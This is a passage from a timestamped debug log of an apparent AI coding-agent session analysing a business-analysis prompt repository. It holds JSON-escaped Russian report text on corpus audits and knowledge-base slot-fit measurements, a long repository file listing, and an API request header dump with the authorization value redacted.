\u0442\u043e \u0435\u0441\u0442\u044c \u0441\u043b\u0443\u0436\u0435\u0431\u043d\u043e\u0435 \u043f\u043e\u043b\u0435, \u0430\\n\u043d\u0435 \u043f\u0440\u043e\u0435\u043a\u0442 \u043d\u043e\u0440\u043c\u044b.\\n\\n## 2. \u0427\u0442\u043e \u0438\u0437 \u044d\u0442\u043e\u0433\u043e \u0441\u043b\u0435\u0434\u0443\u0435\u0442\\n\\n1. **\u041a\u043e\u0440\u043f\u0443\u0441 \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0431\u0430\u0437\u0438\u0441\u043e\u043c \u043d\u043e\u0432\u044b\u0445 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432 \u2014 \u043d\u0435 \u043f\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044e, \u0430 \u043f\u043e\\n   \u0441\u043e\u0441\u0442\u0430\u0432\u0443.** \u0412\u044b\u0432\u0435\u0441\u0442\u0438 \u0438\u0437 \u043d\u0435\u0433\u043e `MM-1`\u2026`MM-4`, \u0433\u0435\u0439\u0442\u044b, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0435\\n   \u0441\u043b\u043e\u0432\u0430\u0440\u0438 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\u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u0441\u0438\u043d\u0442\u0435\u0437\u0430 | \u043d\u043e\u0440\u043c\u0430 \u0425\u0430\u0431\u0430 |\\n| \u0414\u0435\u043f\u0440\u0435\u043a\u0430\u0446\u0438\u044f \u0440\u0435\u0436\u0438\u043c\u043e\u0432 `DP-1`\u2026`DP-4` | ADR-013 | \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 **\u043f\u0440\u0435\u0434\u043c\u0435\u0442** \u0440\u0435\u0448\u0435\u043d\u0438\u044f, \u0430 \u043d\u0435 \u0435\u0433\u043e \u043e\u0431\u0440\u0430\u0437\u0435\u0446 | \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043e \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0438 |\\n\\n\u0411\u043b\u043e\u043a\u0430, \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0431\u044b\u043b\u0430 \u0431\u044b \u0432\u0437\u044f\u0442\u0430 \u0438\u0437 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0438\u043b\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u0430, \u0430\u0443\u0434\u0438\u0442 \u043d\u0435\\n\u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b. \u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0437\u0430\u0438\u043c\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u044f \u0438\u0437 \u0441\u043f\u0438\u0446\u044b \u2014 **\u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0438 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439**\\n\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0439, \u0443\u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0438\u0437 \u0435\u0451 `docs/` \u0438 `standards/`, \u0430 \u043d\u0435 \u0438\u0437 `prompts/` \u0438\\n`runs/`; \u043f\u0440\u0430\u0432\u0438\u043b\u043e `T-4` \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0438\u043c\u0435\u043d\u043d\u043e \u0442\u0430\u043a\u043e\u0433\u043e \u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442 \u0435\u0433\u043e \u044f\u0432\u043d\u043e.\\n\\n## 4. \u0413\u0440\u0430\u043d\u0438\u0446\u044b \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u044f\\n\\n- \u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 **\u043b\u0435\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043c\u0430\u0440\u043a\u0435\u0440\u0430**, \u0430 \u043d\u0435 \u0441\u043c\u044b\u0441\u043b\u0430: \u043f\u0440\u043e\u043c\u043f\u0442 \u043c\u043e\u0433 \u0431\u044b\\n  \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443, \u043d\u0435 \u043d\u0430\u0437\u044b\u0432\u0430\u044f \u0435\u0451. \u0417\u0430\u043c\u0435\u0440 \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435\\n  **\u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439** \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438, \u0430 \u043d\u0435 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u0438\u044f \u0430\u0432\u0442\u043e\u0440\u0430.\\n- \u0428\u0438\u0440\u043e\u043a\u0438\u0435 \u043c\u0430\u0440\u043a\u0435\u0440\u044b \u0437\u0430\u0432\u044b\u0448\u0430\u044e\u0442 \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u0435: \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043d\u0435 \u0432\u044b\u0448\u0435\\n  \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u0433\u043e, \u0438 \u0432\u044b\u0432\u043e\u0434 \u00a71 \u043e\u0442 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043e\u0448\u0438\u0431\u043a\u0438 \u043d\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u0442.\\n- \u0410\u0443\u0434\u0438\u0442 \u00a73 \u2014 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u043d\u044b\u0439, \u0430 \u043d\u0435 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439: \u043e\u043d \u0447\u0438\u0442\u0430\u0435\u0442 \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u0431\u043b\u043e\u043a\u0438 \u0438 \u0438\u0445\\n  \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438. \u0415\u0433\u043e \u043c\u0430\u0448\u0438\u043d\u043d\u0430\u044f \u0437\u0430\u043c\u0435\u043d\u0430 (\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u043e\u043b\u044f `derived_from` \u0432\\n  \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u0445) \u0437\u0430\u0432\u0435\u0434\u0435\u043d\u0430 \u0437\u0430\u0434\u0430\u0447\u0435\u0439 `B-153`.\\n- \u0427\u0438\u0441\u043b\u0430 \u0434\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043a\u043e\u043c\u043c\u0438\u0442\u043e\u043c `8cbf82a`. \u041d\u0430 \u0434\u0440\u0443\u0433\u043e\u043c \u043a\u043e\u043c\u043c\u0438\u0442\u0435 \u043e\u043d\u0438 \u0431\u0443\u0434\u0443\u0442 \u0434\u0440\u0443\u0433\u0438\u043c\u0438.\",\n[2026-09-29T07:45:37.867Z] [INFO]         \"is_error\": false\n[2026-09-29T07:45:37.867Z] [INFO]       }\n[2026-09-29T07:45:37.867Z] [INFO]     ]\n[2026-09-29T07:45:37.867Z] [INFO]   },\n[2026-09-29T07:45:37.867Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:45:37.867Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:37.867Z] [INFO]   \"uuid\": \"f6a970ce-2dea-48cc-8ec4-5214f9e3bd41\",\n[2026-09-29T07:45:37.867Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:37.860Z\",\n[2026-09-29T07:45:37.867Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:37.867Z] [INFO]   \"task_description\": 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docs/rfc-hub-integration.md\\n  docs/rfc/2026-08-task-taxonomy.md\\n  docs/rfc/knowledge-transfer-to-hub/README.md\\n  docs/rfc/knowledge-transfer-to-hub/ba-ontology.md\\n  docs/rfc/knowledge-transfer-to-hub/bcreq-process.md\\n  docs/rfc/knowledge-transfer-to-hub/operations-taxonomy.md\\n  docs/rfc/knowledge-transfer-to-hub/pages-ux.md\\n  docs/rfc/prompt-improvement-bcreq-1025-proposal.md\\n  docs/rfc/prompt-improvement-multichannel-proposal.md\\n  docs/rfc/rfc-process.md\\n  docs/rfc/rfc-register.md\\n  docs/rfc/rfc-to-hub-001-knowledge-transfer.md\\n  docs/rfc/rfc-to-hub-002-prompt-debugging-process.md\\n  docs/screenshots/issue-335-password-gate.png\\n  docs/screenshots/issue-335-report-diagram.png\\n  docs/screenshots/issue-335-report-unlocked.png\\n  docs/screenshots/issue-335-reports-index.png\\n  docs/screenshots/issue-74-pages-desktop.png\\n  docs/screenshots/issue-74-pages-mobile.png\\n  docs/screenshots/issue-86-mango-widget-local.png\\n  docs/screenshots/issue-91-cascade.png\\n  docs/screenshots/issue-91-checks.png\\n  docs/screenshots/issue-91-full.png\\n  docs/screenshots/issue-91-mobile-filters.png\\n  docs/screenshots/issue-92-prompt-cards.png\\n  docs/screenshots/issue-97-process-tree-collapsed.png\\n  docs/screenshots/issue-97-process-tree-expanded.png\\n  docs/screenshots/issue-97-spa-processes-page.png\\n  docs/screenshots/issue-99-catalog-dark.png\\n  docs/screenshots/issue-99-catalog.png\\n  docs/screenshots/issue-99-dashboard.png\\n  docs/screenshots/issue-99-patterns.png\\n  docs/screenshots/issue-99-process-modal.png\\n  docs/superpowers/plans/2026-08-31-issue-339-followup.md\\n  docs/superpowers/plans/2026-08-31-issue-343-run-0063.md\\n  docs/task-for-konard-template.md\\n  docs/taxonomy.md\\n  kb/.gitkeep\\n  kb/README.md\\n  kb/STRUCTURE_REVIEW.md\\n  kb/USAGE.md\\n  kb/fragments/README.md\\n  kb/practices/source-backed-analysis.md\\n  kb/processed/README.md\\n  kb/sources/README.md\\n  kb/sources/Rolevaya-model-vats/.gitkeep\\n  kb/sources/Rolevaya-model-vats/meta.json\\n  kb/sources/contact-center-manual/source.md\\n  kb/sources/cov-robot-fil/meta.json\\n  kb/sources/integration-bitrix24/.gitkeep\\n  kb/sources/integration-bitrix24/meta.json\\n  kb/sources/integration-bpmsoft/.gitkeep\\n  kb/sources/integration-bpmsoft/meta.json\\n  kb/sources/integration_1c/.gitkeep\\n  kb/sources/integration_1c/meta.json\\n  kb/sources/integration_amocrm/.gitkeep\\n  kb/sources/integration_amocrm/meta.json\\n  kb/sources/lk-vats-sso/.gitkeep\\n  kb/sources/lk-vats-sso/meta.json\\n  kb/sources/mango-cc-manual/.gitkeep\\n  kb/sources/mango-cc-manual/meta.json\\n  kb/sources/mango-lk-manual/.gitkeep\\n  kb/sources/mango-lk-manual/meta.json\\n  kb/sources/mdialogi-api/.gitkeep\\n  kb/sources/mdialogi-api/meta.json\\n  kb/sources/mtalker/.gitkeep\\n  kb/sources/mtalker/meta.json\\n  kb/sources/quality-managment/.gitkeep\\n  kb/sources/quality-managment/meta.json\\n  kb/sources/sip-trunk/.gitkeep\\n  kb/sources/sip-trunk/meta.json\\n  kb/sources/speech-analytics/.gitkeep\\n  kb/sources/speech-analytics/meta.json\\n  kb/sources/vpbx-api/.gitkeep\\n  kb/sources/vpbx-api/meta.json\\n  kb/sources/wallboard/.gitkeep\\n  kb/sources/wallboard/meta.json\\n  kb/sources/web-links/README.md\\n  patterns/README.md\\n  patterns/asr-ingestion/README.md\\n  patterns/asr-ingestion/examples/basic-example.md\\n  patterns/fr-generation/README.md\\n  patterns/fr-generation/examples/basic-example.md\\n  patterns/fr-validation/README.md\\n  patterns/fr-validation/examples/basic-example.md\\n  patterns/glossary-context-generation/README.md\\n  patterns/glossary-context-generation/examples/basic-example.md\\n  patterns/meeting-summary-generation/README.md\\n  patterns/meeting-summary-generation/examples/basic-example.md\\n  patterns/usecase-generation/README.md\\n  patterns/usecase-generation/examples/basic-example.md\\n  patterns/user-story-generation/README.md\\n  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standards/GLOSSARY.md\\n  standards/README.md\\n  standards/analysis-standard.md\\n  standards/artifact-naming-standard.md\\n  standards/ba-ontology.executable.md\\n  standards/ba-ontology.md\\n  standards/bcreq-process-standard.md\\n  standards/cascading-context-loading-standard.md\\n  standards/evals-contract-standard.md\\n  standards/experiment-log-standard.md\\n  standards/industry-standards-standard.md\\n  standards/kb-standard.md\\n  standards/pages-ux-standard.md\\n  standards/pattern-standard.md\\n  standards/product-classification-contract.md\\n  standards/prompt-debugging-process.md\\n  standards/prompt-standard.md\\n  standards/research-standard.md\\n  standards/runs-contract-standard.md\\n  standards/team-directory.md\",\n[2026-09-29T07:45:38.700Z] [INFO]         \"is_error\": false\n[2026-09-29T07:45:38.700Z] [INFO]       }\n[2026-09-29T07:45:38.700Z] [INFO]     ]\n[2026-09-29T07:45:38.700Z] [INFO]   },\n[2026-09-29T07:45:38.700Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:45:38.700Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:38.700Z] [INFO]   \"uuid\": \"49ed7a14-6e50-4ce2-a60f-d8a2a298bb6c\",\n[2026-09-29T07:45:38.700Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:38.695Z\",\n[2026-09-29T07:45:38.700Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:38.700Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:45:38.700Z] [INFO] }\n[2026-09-29T07:45:38.734Z] [STDOUT] [log_6e34dc] sending request {\n[2026-09-29T07:45:38.737Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:45:38.739Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:38.741Z] [STDOUT]   options: {\n[2026-09-29T07:45:38.743Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:45:38.744Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:45:38.746Z] [STDOUT]     body: {\n[2026-09-29T07:45:38.748Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:45:38.750Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:45:38.751Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:45:38.753Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:45:38.755Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:45:38.756Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:45:38.758Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:45:38.762Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:45:38.766Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:45:38.775Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:45:38.779Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:45:38.786Z] [STDOUT]       stream: true,\n[2026-09-29T07:45:38.787Z] [STDOUT]     },\n[2026-09-29T07:45:38.790Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:45:38.797Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:45:38.803Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:45:38.806Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:45:38.809Z] [STDOUT]       aborted: false,\n[2026-09-29T07:45:38.812Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:45:38.817Z] [STDOUT]       onabort: null,\n[2026-09-29T07:45:38.819Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:45:38.821Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:45:38.824Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:45:38.826Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:45:38.827Z] [STDOUT]     },\n[2026-09-29T07:45:38.831Z] [STDOUT]     stream: true,\n[2026-09-29T07:45:38.840Z] [STDOUT]   },\n[2026-09-29T07:45:38.845Z] [STDOUT]   headers: {\n[2026-09-29T07:45:38.847Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:45:38.851Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:45:38.857Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:45:38.864Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:45:38.867Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:45:38.871Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:45:38.875Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:45:38.877Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:45:38.881Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:45:38.884Z] [STDOUT]     \"x-claude-code-agent-id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:45:38.886Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:45:38.896Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1601\",\n[2026-09-29T07:45:38.904Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:45:38.908Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:45:38.913Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:38.918Z] [STDOUT]     \"x-client-request-id\": \"1cde119d-fdd9-4b79-9f2c-b37c57b23e5d\",\n[2026-09-29T07:45:38.922Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:45:38.929Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:45:38.932Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:45:38.937Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:45:38.941Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:45:38.947Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:45:38.960Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:45:38.966Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:45:38.971Z] [STDOUT]   },\n[2026-09-29T07:45:38.976Z] [STDOUT] }\n[2026-09-29T07:45:39.203Z] [INFO] {\n[2026-09-29T07:45:39.203Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:45:39.203Z] [INFO]   \"message\": {\n[2026-09-29T07:45:39.203Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:45:39.203Z] [INFO]     \"content\": [\n[2026-09-29T07:45:39.203Z] [INFO]       {\n[2026-09-29T07:45:39.203Z] [INFO]         \"tool_use_id\": \"toolu_01SvHg7wa9kR3RVtdhZfKWmF\",\n[2026-09-29T07:45:39.203Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:45:39.203Z] [INFO]         \"content\": \"> \u0410\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u043e \u0434\u043b\u044f \u0437\u0430\u043c\u0435\u0440\u0430 2026-09-08 \u043d\u0430 \u043a\u043e\u043c\u043c\u0438\u0442\u0435 `8cbf82a`. \u0421\u0442\u0430\u0440\u044b\u0435 \u043f\u0443\u0442\u0438 \u0438 \u0441\u0441\u044b\u043b\u043a\u0438\\n> \u043d\u0438\u0436\u0435 \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u044b \u043a\u0430\u043a \u043b\u043e\u043a\u0430\u0442\u043e\u0440\u044b \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u0440\u043f\u0443\u0441\u0430; KB \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0430 \u0432\\n> [`mango-ba-ai-runtime/docs/kb`](https://github.com/G-Ivan-A/mango-ba-ai-runtime/tree/main/docs/kb).\\n> \u0421\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0444\u0430\u0439\u043b\u044b \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0432 [\u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u043c \u0441\u043d\u0438\u043c\u043a\u0435 runtime](https://github.com/G-Ivan-A/mango-ba-ai-runtime/tree/ed42b3cd0eed2774c9b080232ca00484d9a4f7cd/docs/kb)\\n> \u043f\u043e \u0442\u0435\u043c \u0436\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u043f\u0443\u0442\u044f\u043c.\\n\\n\u0414\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043e\u0442\u0447\u0451\u0442. \u0426\u0438\u0444\u0440\u044b \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u044b \u043d\u0430 \u043a\u043e\u043c\u043c\u0438\u0442\u0435 `8cbf82a` \u0441\u043f\u0438\u0446\u044b\\n[`mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts) \u0438 \u043d\u0430 \u0434\u0440\u0443\u0433\u043e\u043c\\n\u043a\u043e\u043c\u043c\u0438\u0442\u0435 \u0431\u0443\u0434\u0443\u0442 \u0434\u0440\u0443\u0433\u0438\u043c\u0438.\\n\\n\u0417\u0430\u043c\u0435\u0440 \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u043d\u0430 \u043f\u0443\u043d\u043a\u0442 3 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044f \u0444\u0430\u0443\u043d\u0434\u0435\u0440\u0430 \u043a PR\\n[#562](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/562):\\n\u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0441\u043b\u043e\u0442\u043e\u0432 `S-*` \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u043d\u0435 \u0442\u0435\u043e\u0440\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0441\u0442\u0440\u043e\u0439\u043d\u044b\u043c, \u0430\\n\u043f\u0440\u0430\u043a\u0442\u0438\u043a\u043e-\u043f\u0440\u0438\u0433\u043e\u0434\u043d\u044b\u043c \u2014 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0437\u043d\u0430\u043d\u0438\u0439 \u0438\u0437 \u0411\u0417 \u0434\u043b\u044f \u0440\u0430\u0437\u043d\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u043e\u0431\u044f\u0437\u0430\u043d\u043e\\n\u043b\u043e\u0436\u0438\u0442\u044c\u0441\u044f \u0432 \u043e\u0434\u0438\u043d \u0441\u043a\u0435\u043b\u0435\u0442 \u0438 \u043d\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u0442\u044c \u00ab\u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e\u00bb \u0441\u043b\u043e\u0442\u0430 \u043f\u043e\u0434 \u043a\u0430\u0436\u0434\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442.\\n\\n\u0418\u0437\u043c\u0435\u0440\u0438\u0442\u0435\u043b\u044c:\\n[`probe-kb-slot-fit.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-micro-structure-561/probe-kb-slot-fit.py),\\n\u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442:\\n[`kb-slot-fit.json`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-micro-structure-561/kb-slot-fit.json),\\n\u043f\u0440\u043e\u0433\u043e\u043d:\\n[`probe-kb-slot-fit.log`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-micro-structure-561/probe-kb-slot-fit.log).\\n\\n## 1. \u0427\u0442\u043e \u0438 \u043d\u0430 \u0447\u0451\u043c \u0438\u0437\u043c\u0435\u0440\u044f\u043b\u043e\u0441\u044c\\n\\n\u0421\u043b\u043e\u0439 `kb/processed/` \u0441\u043f\u0438\u0446\u044b \u2014 \u043c\u0430\u0448\u0438\u043d\u043d\u043e-\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0432\u044b\u0432\u043e\u0434 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0438\u0437\\n\u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432; \u0441\u0430\u043c \u043a\u043e\u0440\u043f\u0443\u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442 \u043a\u0430\u0440\u0442\u0443 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 `index.md` \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c\\n([`kb/processed/README.md`](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/kb/processed/README.md)).\\n\u0418\u0437\u043c\u0435\u0440\u0438\u0442\u0435\u043b\u044c \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u0442 \u044d\u0442\u0443 \u043a\u0430\u0440\u0442\u0443 \u0438 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u0435\u0442 \u043a\u0430\u0436\u0434\u044b\u0439 \u0440\u0430\u0437\u0434\u0435\u043b \u0432 \u0441\u043b\u043e\u0442 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e\\n\u0441\u043b\u043e\u0432\u0430\u0440\u044f `S-*`\\n([\u00a72 `20-taxonomy.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/artifact-micro-structure/20-taxonomy.md)).\\n\\n\u0412\u044b\u0431\u043e\u0440\u043a\u0430 \u2014 \u043f\u044f\u0442\u044c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0411\u0417, \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u043c \u043a\u043b\u0430\u0441\u0441\u0430\u043c \u0438 \u043f\u0440\u043e\u0444\u0438\u043b\u044f\u043c\\n**\u0434\u043e** \u0437\u0430\u043c\u0435\u0440\u0430. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u0444\u0430\u0443\u043d\u0434\u0435\u0440\u0430 \u2014 \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u0442\u0440\u0451\u0445 \u043f\u0440\u043e\u0432\u0435\u0440\u043e\u043a; \u0432\u0437\u044f\u0442\u043e \u043f\u044f\u0442\u044c,\\n\u0447\u0442\u043e\u0431\u044b \u043a\u0430\u0436\u0434\u044b\u0439 \u0438\u0437 \u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u043f\u0440\u043e\u0444\u0438\u043b\u0435\u0439 \u0438\u043c\u0435\u043b \u0445\u043e\u0442\u044f \u0431\u044b \u043e\u0434\u0438\u043d \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442, \u0430 \u043f\u0440\u043e\u0444\u0438\u043b\u044c\\n`P-SETTINGS` \u2014 \u0442\u0440\u0438, 